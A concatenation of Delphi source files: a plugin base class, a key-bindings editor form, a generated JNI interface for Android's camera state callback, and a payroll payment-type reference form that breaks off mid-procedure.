function ThisDLLPath() : string;
var
TheFileName : array[0..MAX_PATH] of char;
begin
FillChar(TheFileName, sizeof(TheFileName), #0);
GetModuleFileName(hInstance, TheFileName, sizeof(TheFileName));
Result := String( TheFileName );
end;
{ TI2XPlugin }
procedure TI2XPlugin.CleanUp;
begin
FMemoryMapManager.Flush;
end;
constructor TI2XPlugin.Create(const GUID, ParmFileName: string);
begin
FLastErrorCode := ERROR_OK;
FLastErrorString := '';
FLogWritten := false;
FFileDir := CFileDir.Create;
FDebugLog := 'I2XPluginDebug.log';
FXMLParmData := CreateXMLDoc;
FXMLParmFile := ParmFileName;
self.FGUID := GUID;
FStrUtil := CStrUtil.Create;
self.ReadParmFile( FXMLParmFile );
FMemoryMapManager := TI2XMemoryMapManager.Create();
end;
destructor TI2XPlugin.Destroy;
begin
FreeAndNil( FStrUtil );
FreeAndNil( FFileDir );
FreeAndNil( FMemoryMapManager );
end;
procedure TI2XPlugin.ErrorUpdate(const msg: string; const code: integer);
begin
self.FLastErrorString := msg;
self.FLastErrorCode := code;
end;
function TI2XPlugin.ReadParmFile(const FileName: TFileName): boolean;
var
oNod : IXMLNode;
sDebugLevel, sDebugPath, sTempDir : string;
oFileDir : CFileDir;
begin
try
if not FileExists( FileName ) then
raise PluginException.Create('Could not load parm file "' + FileName + '". Is it properly formed?', ERROR_PARM_FILE_INVALID, self );
if not FXMLParmData.Load( FileName ) then
raise PluginException.Create('Could not load parm file "' + FileName + '". Is it properly formed?', ERROR_PARM_FILE_INVALID, self );
FXMLParmData.SelectSingleNode( '//debug', oNod );
if ( oNod <> nil ) then begin
try
oFileDir := CFileDir.Create;
sTempDir := oFileDir.GetSystemTempDir;
sDebugLevel := oNod.attributes.getNamedItem( 'level' ).text;
if FStrUtil.IsNumeric( sDebugLevel ) then
FDebugLevel := TDebugLevel( StrToInt( sDebugLevel ));
FDebugPath := oNod.attributes.getNamedItem( 'path' ).text;
FDebugPath := StringReplace(FDebugPath, '%temp%\', sTempDir, [rfReplaceAll, rfIgnoreCase]);
FDebugPath := StringReplace(FDebugPath, '%temp%', sTempDir, [rfReplaceAll, rfIgnoreCase]);
ForceDirectories( FDebugPath );
if ( not DirectoryExists( FDebugPath ) ) then
FDebugPath := ExtractFilePath( FileName );
finally
FreeAndNil( oFileDir );
end;
end;
except
result := false;
end;
End;
procedure TI2XPlugin.DebugWrite(const msg: string);
Var
txtfLog : TextFile;
fildir : uFileDir.CFileDir;
Begin
if ( Length(FDebugPath) > 0 ) then begin
if ( not FLogWritten ) then begin
FFileDir.WriteString( self.ClassName +
' (I2X Plugin) started on ' + FormatDateTime('c', now) +
' - - - - - - - - - - ' + #13, (FDebugPath + FDebugLog), true );
FLogWritten := true;
end;
FFileDir.WriteString( msg + #13, (FDebugPath + FDebugLog), true );
end;
End;
{ PluginException }
constructor PluginException.Create(const Msg: string; const ReturnCode: integer; plugin : TI2XPlugin);
begin
plugin.LastErrorCode := ReturnCode;
plugin.LastErrorString := Msg;
self.Create( Msg );
end;
END.
|
{================================================================================
Copyright (C) 1997-2002 Mills Enterprise
Unit : rmKeyBindingsEditForm
Purpose : Runtime editing form for looking at the assigned key bindings.
Date : 05-03-2000
Author : Ryan J. Mills
Version : 1.92
================================================================================}
unit rmKeyBindingsEditForm;
interface
{$I CompilerDefines.INC}
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, rmLabel, rmKeyBindings, imglist, ActnList, rmTreeNonView, CheckLst;
type
TFrmEditKeyBindings = class(TForm)
Label1: TLabel;
Label2: TLabel;
lbxCategories: TListBox;
lbxCommands: TListBox;
btnClose: TButton;
btnChange: TButton;
btnResetAll: TButton;
lblErrorInfo: TrmLabel;
ActionList1: TActionList;
actChange: TAction;
actResetAll: TAction;
GroupBox1: TGroupBox;
lblDescription: TrmLabel;
GroupBox2: TGroupBox;
lblKeys: TrmLabel;
cbxDesignLock: TCheckBox;
btnSave: TButton;
btnLoad: TButton;
actSaveBindings: TAction;
actLoadBindings: TAction;
procedure ActionList1Update(Action: TBasicAction; var Handled: Boolean);
procedure lbxCategoriesClick(Sender: TObject);
procedure lbxCommandsDrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: TOwnerDrawState);
procedure lbxCommandsClick(Sender: TObject);
procedure actChangeExecute(Sender: TObject);
procedure actResetAllExecute(Sender: TObject);
procedure cbxDesignLockClick(Sender: TObject);
procedure actSaveBindingsExecute(Sender: TObject);
procedure actLoadBindingsExecute(Sender: TObject);
private
{ Private declarations }
fItems,fItems2: TrmKeyBindingCollection;
fnvTree: TrmTreeNonView;
fImages: TCustomImageList;
fDisplayName: boolean;
fModified: boolean;
fDesigning: boolean;
fMultiBinding: boolean;
procedure SetItems(const Value: TrmKeyBindingCollection);
function GetItems: TrmKeyBindingCollection;
procedure SetImages(const Value: TCustomImageList);
procedure UpdateKeyInfo(Index: integer);
procedure BuildTree;
procedure SetDesigning(const Value: boolean);
procedure SaveBindingsToFile(FileName:string; Binary:Boolean);
procedure LoadBindingsFromFile(FileName:string; Binary:boolean);
protected
{ Protected declarations }
procedure notification(AComponent: TComponent; Operation: TOperation); override;
public
{ Public declarations }
constructor create(AOwner: TComponent); override;
destructor destroy; override;
property Items: TrmKeyBindingCollection read GetItems write SetItems;
property Images: TCustomImageList read fImages write SetImages;
property DisplayName: boolean read fDisplayName write fDisplayName default false;
property Designing : boolean read fDesigning write SetDesigning;
property MultiBinding : boolean read fMultiBinding write fMultiBinding default true;
end;
implementation
{$R *.DFM}
uses rmFormEditBinding,Menus;
constructor TFrmEditKeyBindings.create(AOwner: TComponent);
begin
inherited;
fnvTree := TrmTreeNonView.create(self);
fitems := TrmKeyBindingCollection.create(self);
fItems2 := TrmKeyBindingCollection.create(self);
fDisplayName := false;
fMultiBinding := true;
fModified := false;
end;
destructor TFrmEditKeyBindings.destroy;
begin
fnvTree.Items.Clear;
fnvTree.Free;
fItems2.clear;
fItems2.free;
fitems.Clear;
fItems.Free;
inherited;
end;
procedure TFrmEditKeyBindings.SetItems(const Value: TrmKeyBindingCollection);
begin
fItems.clear;
fItems2.clear;
if assigned(value) then
begin
fItems.Assign(Value);
fItems2.assign(value);
BuildTree;
if assigned(fImages) then
lbxCommands.ItemHeight := fImages.Height;
end;
end;
function TFrmEditKeyBindings.GetItems: TrmKeyBindingCollection;
begin
result := fItems;
end;
procedure TFrmEditKeyBindings.SetImages(const Value: TCustomImageList);
begin
fimages := value;
if assigned(fImages) then
fImages.FreeNotification(self);
end;
procedure TFrmEditKeyBindings.notification(AComponent: TComponent;
Operation: TOperation);
begin
if (operation = opRemove) then
begin
if aComponent = fImages then
fimages := nil;
end;
inherited;
end;
procedure TFrmEditKeyBindings.ActionList1Update(Action: TBasicAction;
var Handled: Boolean);
begin
UpdateKeyInfo(lbxCommands.ItemIndex);
if lbxCategories.itemindex = -1 then
lbxCommands.clear;
if not fDesigning then
actChange.enabled := (lbxCommands.ItemIndex <> -1) and (not cbxDesignLock.checked)
else
begin
actChange.Enabled := (lbxCommands.ItemIndex <> -1);
cbxDesignLock.enabled := actChange.enabled;
end;
actResetAll.Enabled := fModified;
if fModified then
btnClose.ModalResult := mrok
else
btnClose.ModalResult := mrCancel;
handled := true;
end;
procedure TFrmEditKeyBindings.lbxCategoriesClick(Sender: TObject);
var
wSNode: TrmTreeNonViewNode;
begin
lbxCommands.Clear;
if lbxCategories.itemindex <> -1 then
begin
wSNode := fnvTree.Items.GetFirstNode;
while (wSNode <> nil) and (wsNode.text <> lbxCategories.items[lbxCategories.ItemIndex]) do
wsNode := wSNode.GetNextSibling;
if wSNode <> nil then
begin
wSNode := wSNode.GetFirstChild;
while wSNode <> nil do
begin
lbxCommands.Items.AddObject(wSNode.Text,TrmKeyBindingItem(wSNode.Data));
wSNode := wSNode.GetNextSibling;
end;
end;
end;
end;
procedure TFrmEditKeyBindings.lbxCommandsDrawItem(Control: TWinControl;
Index: Integer; Rect: TRect; State: TOwnerDrawState);
var
wDisplayText: string;
wKeyData : TrmKeyBindingItem;
begin
lbxCommands.Canvas.Font.assign(lbxCommands.font);
wKeyData := TrmKeyBindingItem(lbxCommands.Items.objects[index]);
if odSelected in State then
begin
lbxCommands.Canvas.Brush.Color := clHighlight;
lbxCommands.Canvas.Font.Color := clHighlightText;
end
else
begin
lbxCommands.Canvas.Brush.Color := clWindow;
lbxCommands.Canvas.Font.Color := clWindowText;
end;
lbxCommands.Canvas.FillRect(rect);
if (wKeyData.DesignLocked) then
begin
lbxCommands.Canvas.Font.Style := [fsitalic];
lbxCommands.Canvas.Font.color := clGrayText;
end;
if assigned(fImages) then
begin
fImages.Draw(lbxCommands.Canvas,rect.left,rect.top,wKeyData.ImageIndex);
rect.Left := rect.left + (fimages.width) + 1;
end
else
rect.Left := rect.left + 1;
if displayName then
wDisplayText := wKeyData.ActionName
else
wDisplayText := StriphotKey(wKeyData.ActionCaption);
lbxCommands.Canvas.TextRect(rect,rect.left,rect.top,wDisplayText);
end;
procedure TFrmEditKeyBindings.UpdateKeyInfo(Index: integer);
var
wKeyData, wLoopData: TrmKeyBindingItem;
wAlsoUsedBy: string;
loop: integer;
begin
if Index > -1 then
begin
wKeyData := TrmKeyBindingItem(lbxCommands.Items.objects[index]);
lblKeys.caption := ShortCutToText(wKeyData.KeyBinding);
if lblKeys.caption = '' then
lblKeys.Caption := '(None)';
lblDescription.caption := wKeyData.Description;
cbxDesignLock.checked := wKeyData.DesignLocked;
wAlsoUsedBy := '';
if wKeyData.KeyBinding <> 0 then
begin
for loop := 0 to fItems.count - 1 do
begin
wLoopData := fItems[loop];
if (wLoopData <> wKeyData) and (wKeyData.KeyBinding = wLoopData.KeyBinding) then
begin
if DisplayName then
wAlsoUsedBy := ', ' + wLoopData.ActionName + wAlsoUsedBy
else
wAlsoUsedBy := ', "' + wLoopData.ActionCaption + '" ' + wAlsoUsedBy
end;
end;
if wAlsoUsedBy <> '' then
begin
delete(wAlsoUsedBy,1,1);
lblErrorInfo.Caption := 'The same binding is also used by' + wAlsoUsedBy;
end
else
lblErrorInfo.Caption := '';
end
else
lblErrorInfo.Caption := '';
end
else
begin
lblKeys.caption := '(None)';
lblErrorInfo.caption := '';
lblDescription.caption := '';
end;
end;
procedure TFrmEditKeyBindings.lbxCommandsClick(Sender: TObject);
begin
UpdateKeyInfo(lbxCommands.ItemIndex);
end;
procedure TFrmEditKeyBindings.actChangeExecute(Sender: TObject);
var
wForm: TrmFrmEditBinding;
wKeyData: TrmKeyBindingItem;
wFound : boolean;
loop : integer;
begin
wForm := TrmFrmEditBinding.create(self);
try
wKeyData := TrmKeyBindingItem(lbxCommands.items.objects[lbxCommands.itemindex]);
wForm.Binding := wKeyData.KeyBinding;
if fMultiBinding then
begin
if wForm.showModal = mrok then
begin
wKeyData.KeyBinding := wForm.Binding;
fModified := true;
end;
end
else
begin
wFound := true;
while wFound do
begin
if wForm.showModal = mrok then
begin
for loop := 0 to fitems.count-1 do
begin
wFound := (wForm.Binding = fItems[loop].KeyBinding);
if wFound then
begin
if not fDesigning then
begin
MessageDlg('That binding is already in use.', mtError, [mbok], 0);
break;
end
else
begin
if MessageDlg('That binding is already in use.'#13#10#13#10'Do you wish to set it anyways?', mtConfirmation, [mbyes, mbNo], 0) = idyes then
wFound := false;
break;
end;
end
end;
if not wFound then
begin
wKeyData.KeyBinding := wForm.Binding;
fModified := true;
end;
end
else
wFound := false;
end;
end;
finally
wForm.free;
end;
end;
procedure TFrmEditKeyBindings.BuildTree;
var
wPNode: TrmTreeNonViewNode;
loop: integer;
wkeydata: TrmKeyBindingItem;
begin
fnvTree.Items.clear;
lbxCommands.Clear;
lbxCategories.Clear;
for loop := 0 to fItems.Count - 1 do
begin
wPNode := fnvTree.Items.GetFirstNode;
wKeyData := fItems[loop];
while (wPNode <> nil) and (wPNode.Text <> wKeyData.Category) do
wPNode := wPNode.GetNextSibling;
if wPNode = nil then
begin
if pos('_hidden',lowercase(wKeyData.Category)) = 0 then
begin
wPNode := fnvTree.Items.Add(nil,wKeyData.Category);
lbxCategories.items.add(wKeyData.Category);
end;
end;
if wPNode <> nil then
fnvTree.Items.AddChildObject(wPNode,wKeyData.ActionCaption,wKeyData);
end;
end;
procedure TFrmEditKeyBindings.actResetAllExecute(Sender: TObject);
begin
fItems.assign(fItems2);
BuildTree;
fModified := false;
end;
procedure TFrmEditKeyBindings.SetDesigning(const Value: boolean);
begin
fDesigning := Value;
if not fDesigning then
begin
cbxDesignLock.Visible := false;
lblKeys.Align := alClient;
btnSave.visible := false;
btnLoad.visible := false;
end;
end;
procedure TFrmEditKeyBindings.cbxDesignLockClick(Sender: TObject);
var
wKeyData : TrmKeyBindingItem;
begin
if not cbxDesignLock.Focused then exit;
wKeyData := TrmKeyBindingItem(lbxCommands.Items.objects[lbxCommands.ItemIndex]);
wKeyData.DesignLocked := not wKeyData.DesignLocked;
fModified := true;
lbxCommands.Invalidate;
end;
procedure TFrmEditKeyBindings.actSaveBindingsExecute(Sender: TObject);
var
wSaveBinary : boolean;
wFilename : string;
begin
with TSaveDialog.create(nil) do
try
Title := 'Save bindings to file...';
Filter := 'Binary File|*.bin|Text File|*.txt';
if Execute then
begin
wSaveBinary := FilterIndex = 1;
if wSaveBinary then
wFileName := ChangeFileExt(filename,'.bin')
else
wFileName := ChangeFileExt(filename,'.txt');
SaveBindingsToFile(wfilename, wSaveBinary);
end;
finally
free;
end;
end;
procedure TFrmEditKeyBindings.SaveBindingsToFile(FileName: string;
Binary: Boolean);
var
wStorage : TrmBindingStorage;
wTemp : TMemoryStream;
wStrm : TFileStream;
begin
wStrm := TFileStream.Create(filename, fmCreate);
try
wStorage := TrmBindingStorage.create(self);
try
wStrm.Position := 0;
wStorage.Items := fItems;
if Binary then
wStrm.WriteComponent(wStorage)
else
begin
wTemp := TMemoryStream.create;
try
wTemp.WriteComponent(wStorage);
wTemp.Position := 0;
ObjectBinaryToText(wTemp, wStrm)
finally
wTemp.free;
end;
end;
finally
wStorage.free;
end;
finally
wStrm.free;
end;
end;
procedure TFrmEditKeyBindings.LoadBindingsFromFile(FileName: string; Binary: boolean);
var
wStorage : TComponent;
wTemp : TMemoryStream;
wStrm : TFileStream;
begin
wStrm := TFileStream.create(filename, fmOpenRead);
try
wStrm.Position := 0;
if Binary then
wStorage := TrmBindingStorage(wStrm.ReadComponent(nil))
else
begin
wTemp := TMemoryStream.create;
try
ObjectTextToBinary(wStrm, wTemp);
wTemp.position := 0;
wStorage := TrmBindingStorage(wTemp.ReadComponent(nil));
finally
wTemp.free;
end;
end;
try
fItems.Assign(TrmBindingStorage(wStorage).items);
finally
wStorage.free;
end;
finally
wStrm.free;
end;
BuildTree;
end;
procedure TFrmEditKeyBindings.actLoadBindingsExecute(Sender: TObject);
var
wLoadBinary : boolean;
wFilename : string;
begin
with TOpenDialog.create(nil) do
try
Title := 'Load bindings from file...';
Filter := 'Binary File|*.bin|Text File|*.txt';
if Execute then
begin
wLoadBinary := FilterIndex = 1;
if wLoadBinary then
wFileName := ChangeFileExt(filename,'.bin')
else
wFileName := ChangeFileExt(filename,'.txt');
LoadBindingsFromFile(wfilename, wLoadBinary);
end;
finally
free;
end;
end;
end.
|
//
// Generated by JavaToPas v1.5 20150830 - 104052
////////////////////////////////////////////////////////////////////////////////
unit android.hardware.camera2.CameraDevice_StateCallback;
interface
uses
AndroidAPI.JNIBridge,
Androidapi.JNI.JavaTypes,
android.hardware.camera2.CameraDevice;
type
JCameraDevice_StateCallback = interface;
JCameraDevice_StateCallbackClass = interface(JObjectClass)
['{E9C259A4-3E4D-4DDA-924C-F638B17DED4B}']
function _GetERROR_CAMERA_DEVICE : Integer; cdecl; // A: $19
function _GetERROR_CAMERA_DISABLED : Integer; cdecl; // A: $19
function _GetERROR_CAMERA_IN_USE : Integer; cdecl; // A: $19
function _GetERROR_CAMERA_SERVICE : Integer; cdecl; // A: $19
function _GetERROR_MAX_CAMERAS_IN_USE : Integer; cdecl; // A: $19
function init : JCameraDevice_StateCallback; cdecl; // ()V A: $1
procedure onClosed(camera : JCameraDevice) ; cdecl; // (Landroid/hardware/camera2/CameraDevice;)V A: $1
procedure onDisconnected(JCameraDeviceparam0 : JCameraDevice) ; cdecl; // (Landroid/hardware/camera2/CameraDevice;)V A: $401
procedure onError(JCameraDeviceparam0 : JCameraDevice; Integerparam1 : Integer) ; cdecl;// (Landroid/hardware/camera2/CameraDevice;I)V A: $401
procedure onOpened(JCameraDeviceparam0 : JCameraDevice) ; cdecl; // (Landroid/hardware/camera2/CameraDevice;)V A: $401
property ERROR_CAMERA_DEVICE : Integer read _GetERROR_CAMERA_DEVICE; // I A: $19
property ERROR_CAMERA_DISABLED : Integer read _GetERROR_CAMERA_DISABLED; // I A: $19
property ERROR_CAMERA_IN_USE : Integer read _GetERROR_CAMERA_IN_USE; // I A: $19
property ERROR_CAMERA_SERVICE : Integer read _GetERROR_CAMERA_SERVICE; // I A: $19
property ERROR_MAX_CAMERAS_IN_USE : Integer read _GetERROR_MAX_CAMERAS_IN_USE;// I A: $19
end;
[JavaSignature('android/hardware/camera2/CameraDevice_StateCallback')]
JCameraDevice_StateCallback = interface(JObject)
['{5441EA5F-27BE-4059-985A-F6C98EF64628}']
procedure onClosed(camera : JCameraDevice) ; cdecl; // (Landroid/hardware/camera2/CameraDevice;)V A: $1
procedure onDisconnected(JCameraDeviceparam0 : JCameraDevice) ; cdecl; // (Landroid/hardware/camera2/CameraDevice;)V A: $401
procedure onError(JCameraDeviceparam0 : JCameraDevice; Integerparam1 : Integer) ; cdecl;// (Landroid/hardware/camera2/CameraDevice;I)V A: $401
procedure onOpened(JCameraDeviceparam0 : JCameraDevice) ; cdecl; // (Landroid/hardware/camera2/CameraDevice;)V A: $401
end;
TJCameraDevice_StateCallback = class(TJavaGenericImport<JCameraDevice_StateCallbackClass, JCameraDevice_StateCallback>)
end;
const
TJCameraDevice_StateCallbackERROR_CAMERA_DEVICE = 4;
TJCameraDevice_StateCallbackERROR_CAMERA_DISABLED = 3;
TJCameraDevice_StateCallbackERROR_CAMERA_IN_USE = 1;
TJCameraDevice_StateCallbackERROR_CAMERA_SERVICE = 5;
TJCameraDevice_StateCallbackERROR_MAX_CAMERAS_IN_USE = 2;
implementation
end.
|
unit Sp_Viplat_Zarplata;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxStyles, cxCustomData, cxGraphics, cxFilter, cxData,
cxDataStorage, cxEdit, DB, cxDBData, cxGridLevel, cxGridCustomTableView,
cxGridTableView, cxGridDBTableView, cxClasses, cxControls,
cxGridCustomView, cxGrid, dxBar, dxBarExtItems, ZProc,
Unit_SpViplat_Consts, SpViplataZarplataControl, IBase,
ActnList, ZTypes, FIBQuery, pFIBQuery, pFIBStoredProc,
FIBDatabase, pFIBDatabase, FIBDataSet, pFIBDataSet, Kernel;
type
TFZSpr_Viplat = class(TForm)
BarManager: TdxBarManager;
UpdateBtn: TdxBarLargeButton;
DeleteBtn: TdxBarLargeButton;
SelectBtn: TdxBarLargeButton;
RefreshBtn: TdxBarLargeButton;
InsertBtn: TdxBarLargeButton;
ExitBtn: TdxBarLargeButton;
Grid: TcxGrid;
GridDBTableView1: TcxGridDBTableView;
ColumnShortName: TcxGridDBColumn;
ColumnFullName: TcxGridDBColumn;
GridLevel1: TcxGridLevel;
DataSource: TDataSource;
DataBase: TpFIBDatabase;
DataSet: TpFIBDataSet;
WriteTransaction: TpFIBTransaction;
StoredProc: TpFIBStoredProc;
Styles: TcxStyleRepository;
ReadTransaction: TpFIBTransaction;
GridTableViewStyleSheetDevExpress: TcxGridTableViewStyleSheet;
cxStyle1: TcxStyle;
cxStyle2: TcxStyle;
cxStyle3: TcxStyle;
cxStyle4: TcxStyle;
cxStyle5: TcxStyle;
cxStyle6: TcxStyle;
cxStyle7: TcxStyle;
cxStyle8: TcxStyle;
cxStyle9: TcxStyle;
cxStyle10: TcxStyle;
cxStyle11: TcxStyle;
cxStyle12: TcxStyle;
cxStyle13: TcxStyle;
cxStyle14: TcxStyle;
GridDBTableView1DBColumn1: TcxGridDBColumn;
procedure ExitBtnClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure InsertBtnClick(Sender: TObject);
procedure DeleteBtnClick(Sender: TObject);
procedure UpdateBtnClick(Sender: TObject);
procedure RefreshBtnClick(Sender: TObject);
procedure SelectBtnClick(Sender: TObject);
procedure ButtonsUpdate(Sender: TObject);
procedure GridDBTableView1FocusedRecordChanged(
Sender: TcxCustomGridTableView; APrevFocusedRecord,
AFocusedRecord: TcxCustomGridRecord;
ANewItemRecordFocusingChanged: Boolean);
procedure GridDblClick(Sender: TObject);
private
Ins_Resault:Variant;
Ins_ZFormStyle:TZFormStyle;
public
constructor Create(ComeComponent:TComponent;ComeDB:TISC_DB_HANDLE;ComeFormStyle:TZFormStyle=zfsChild);reintroduce;
property Resault:variant read Ins_Resault;
property ZFormStyle:TZFormStyle read Ins_ZFormStyle;
end;
function View_FZ_Viplat_Sp(AOwner : TComponent;DB:TISC_DB_HANDLE;ComeFormStyle:TZFormStyle):Variant;stdcall;
exports View_FZ_Viplat_Sp;
implementation
{$R *.dfm}
function View_FZ_Viplat_Sp(AOwner : TComponent;DB:TISC_DB_HANDLE;ComeFormStyle:TZFormStyle):Variant;
var ViewForm: TFZSpr_Viplat;
Res:Variant;
begin
case ComeFormStyle of
zfsChild:
begin
if not IsMDIChildFormShow(TFZSpr_Viplat) then
ViewForm := TFZSpr_Viplat.Create(AOwner, DB, zfsChild);
res :=NULL;
end;
zfsNormal:
begin
ViewForm := TFZSpr_Viplat.Create(AOwner, DB, zfsNormal);
ViewForm.ShowModal;
res:=NULL;
ViewForm.Free;
end;
zfsModal:
begin
ViewForm := TFZSpr_Viplat.Create(AOwner, DB, zfsModal);
ViewForm.ShowModal;
if (ViewForm.ModalResult=mrYes) then
res:=ViewForm.Resault
else
res:=NULL;
ViewForm.Free;
end;
end;
View_FZ_Viplat_Sp:=res;
end;
constructor TFZSpr_Viplat.Create(ComeComponent:TComponent;ComeDB:TISC_DB_HANDLE;ComeFormStyle:TZFormStyle=zfsChild);
begin
inherited Create(ComeComponent);
self.Caption := FZSp_Viplat_Caption;
case ComeFormStyle of
zfsModal:
begin
self.FormStyle := fsNormal;
self.BorderStyle := bsDialog;
self.SelectBtn.Visible := ivAlways;
self.Position := poOwnerFormCenter;
end;
zfsChild:
begin
self.FormStyle := fsMDIChild;
self.BorderStyle := bsSizeable;
self.SelectBtn.Visible := ivNever;
self.Position := poMainFormCenter;
end;
zfsNormal:
begin
self.FormStyle := fsNormal;
self.BorderStyle := bsDialog;
self.SelectBtn.Visible := ivNever;
self.Position := poOwnerFormCenter;
end;
end;
Ins_ZFormStyle:=ComeFormStyle;
//******************************************************************************
self.ColumnShortName.Caption := FZSp_Viplat_ColumnShortName_Caption;
self.ColumnFullName.Caption := FZSp_Viplat_ColumnFullName_Caption;
self.InsertBtn.Caption := InsertBtn_Caption;
self.UpdateBtn.Caption := UpdateBtn_Caption;
self.DeleteBtn.Caption := DeleteBtn_Caption;
self.RefreshBtn.Caption := 'Відновити'; //RefreshBtn_Caption;
self.SelectBtn.Caption := SelectBtn_Caption;
self.ExitBtn.Caption := ExitBtn_Caption;
self.BarManager.BarByName('ButtonsControlBar').Caption:=ButtonsControlBar_caption;
ColumnFullName.DataBinding.FieldName := 'FULL_NAME_TYPE_PAYMENT';
ColumnShortName.DataBinding.FieldName := 'SHORT_NAME_TYPE_PAYMENT';
//******************************************************************************
GridDBTableView1.DataController.DataSource := DataSource;
Ins_Resault := VarArrayCreate([0,2],varVariant);
//******************************************************************************
DataSet.SQLs.SelectSQL.Text:='SELECT * FROM Z_SP_TYPE_PAYMENT_SELECT';
DataBase.Handle := ComeDB;
DataSet.Open;
if DataSet.VisibleRecordCount=0 then
begin
UpdateBtn.Enabled := False;
DeleteBtn.Enabled := False;
SelectBtn.Enabled := False;
end;
end;
procedure TFZSpr_Viplat.ExitBtnClick(Sender: TObject);
begin
if self.ZFormStyle=zfsModal then
self.ModalResult:=mrNo
else self.Close;
end;
procedure TFZSpr_Viplat.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
ReadTransaction.Commit;
if self.FormStyle=fsMDIChild then Action:=caFree;
end;
procedure TFZSpr_Viplat.InsertBtnClick(Sender: TObject);
var InsertForm:TFormZSpr_Viplata_Control;
Id_Type_Payment:Integer;
begin
InsertForm := TFormZSpr_Viplata_Control.Create(self,DataBase.Handle, ReadTransaction);
InsertForm.Caption := FormZSp_Viplata_Control_InsertCaption;
InsertForm.ShowModal;
If InsertForm.ModalResult=mrYes then
try
StoredProc.Database := DataBase;
StoredProc.Transaction := WriteTransaction;
StoredProc.Transaction.StartTransaction;
StoredProc.StoredProcName := 'Z_SP_TYPE_PAYMENT_INSERT';
StoredProc.Prepare;
StoredProc.ParamByName('SHORT_NAME_TYPE_PAYMENT').AsString := InsertForm.MaskEditShortName.Text;
StoredProc.ParamByName('FULL_NAME_TYPE_PAYMENT').AsString := InsertForm.MaskEditFullName.Text;
StoredProc.ParamByName('id_rate_account').AsInt64 := InsertForm.id_rate_account;
StoredProc.ExecProc;
Id_Type_Payment := StoredProc.ParamByName('ID_TYPE_PAYMENT').AsInteger;
StoredProc.Transaction.Commit;
DataSet.CloseOpen(True);
DataSet.Locate('ID_TYPE_PAYMENT',Id_Type_Payment,[loCaseInsensitive,loPartialKey]);
except
on E: Exception do
begin
MessageBox(self.Handle,PChar(E.Message),PChar(Error_caption),MB_OK+MB_ICONERROR);
StoredProc.Transaction.Rollback;
end;
end;
InsertForm.Free;
end;
procedure TFZSpr_Viplat.DeleteBtnClick(Sender: TObject);
begin
If MessageBox(self.Handle,PChar(DeleteRecord_Text),PChar(DeleteRecord_Caption),MB_YESNO+MB_ICONQUESTION) = mrYes then
try
StoredProc.Database := DataBase;
StoredProc.Transaction := WriteTransaction;
StoredProc.Transaction.StartTransaction;
StoredProc.StoredProcName := 'Z_SP_TYPE_PAYMENT_DELETE';
StoredProc.Prepare;
StoredProc.ParamByName('ID_TYPE_PAYMENT').AsInteger := DataSet.FieldValues['ID_TYPE_PAYMENT'];
StoredProc.ExecProc;
StoredProc.Transaction.Commit;
DataSetCloseOpen(DataSet);
except
on E: Exception do
begin
MessageBox(self.Handle,PChar(E.Message),PChar(Error_caption),MB_OK+MB_ICONERROR);
StoredProc.Transaction.Rollback;
end;
end;
end;
procedure TFZSpr_Viplat.UpdateBtnClick(Sender: TObject);
var UpdateForm:TFormZSpr_Viplata_Control;
RecInfo:RECORD_INFO_STRUCTURE;
// ResultInfo:RESULT_STRUCTURE;
begin
if DataSet.RecordCount>0
then begin
UpdateForm := TFormZSpr_Viplata_Control.Create(self, DataBase.Handle,ReadTransaction);
UpdateForm.id_rate_account :=TFIBBCDField(DataSet.FieldByName('id_rate_account')).asInt64;
UpdateForm.cxButtonEdit1.Text :=DataSet.FieldByName('rate_acc_info').AsString;
try
StoredProc.Database := DataBase;
StoredProc.Transaction := WriteTransaction;
StoredProc.Transaction.StartTransaction;
RecInfo.TRHANDLE :=WriteTransaction.Handle;
RecInfo.DBHANDLE :=Database.Handle;
RecInfo.ID_RECORD :=VarArrayOf([DataSet.FieldValues['ID_TYPE_PAYMENT']]);
RecInfo.PK_FIELD_NAME :=VarArrayOf(['ID_TYPE_PAYMENT']);
RecInfo.TABLE_NAME :='Z_SP_TYPE_PAYMENT';
RecInfo.RAISE_FLAG :=True;
LockRecord(@RecInfo);
UpdateForm.Caption := FormZSp_Viplata_Control_UpdateCaption;
UpdateForm.MaskEditShortName.Text := DataSet.FieldValues['SHORT_NAME_TYPE_PAYMENT'];
UpdateForm.MaskEditFullName.Text := DataSet.FieldValues['FULL_NAME_TYPE_PAYMENT'];
UpdateForm.ShowModal;
If UpdateForm.ModalResult=mrYes then
begin
StoredProc.StoredProcName := 'Z_SP_TYPE_PAYMENT_UPDATE';
StoredProc.Prepare;
StoredProc.ParamByName('ID_TYPE_PAYMENT').AsInteger := DataSet.FieldValues['ID_TYPE_PAYMENT'];
StoredProc.ParamByName('SHORT_NAME_TYPE_PAYMENT').AsString := UpdateForm.MaskEditShortName.Text;
StoredProc.ParamByName('FULL_NAME_TYPE_PAYMENT').AsString := UpdateForm.MaskEditFullName.Text;
StoredProc.ParamByName('id_rate_account').AsInt64 := UpdateForm.id_rate_account;
StoredProc.ExecProc;
end;
StoredProc.Transaction.Commit;
If UpdateForm.ModalResult=mrYes then DataSetCloseOpen(DataSet, 'ID_TYPE_PAYMENT');
except
on E: Exception do
begin
MessageBox(self.Handle,PChar(E.Message),PChar(Error_caption),MB_OK+MB_ICONERROR);
StoredProc.Transaction.Rollback;
end;
end;
UpdateForm.Free;
end;
end;
procedure TFZSpr_Viplat.RefreshBtnClick(Sender: TObject);
begin
DataSetCloseOpen(DataSet);
end;
procedure TFZSpr_Viplat.SelectBtnClick(Sender: TObject);
begin
Ins_Resault[0] := DataSet.FieldValues['ID_TYPE_PAYMENT'];
Ins_Resault[1] := DataSet.FieldValues['FULL_NAME_TYPE_PAYMENT'];
Ins_Resault[2] := DataSet.FieldValues['SHORT_NAME_TYPE_PAYMENT'];
self.ModalResult:=mrYes;
end;
procedure TFZSpr_Viplat.GridDBTableView1FocusedRecordChanged(
Sender: TcxCustomGridTableView; APrevFocusedRecord,
AFocusedRecord: TcxCustomGridRecord;
ANewItemRecordFocusingChanged: Boolean);
begin
If AFocusedRecord=nil then
begin
UpdateBtn.Enabled:=False;
DeleteBtn.Enabled:=False;
SelectBtn.Enabled:=False;
end
else
begin
UpdateBtn.Enabled:=True;
DeleteBtn.Enabled:=True;
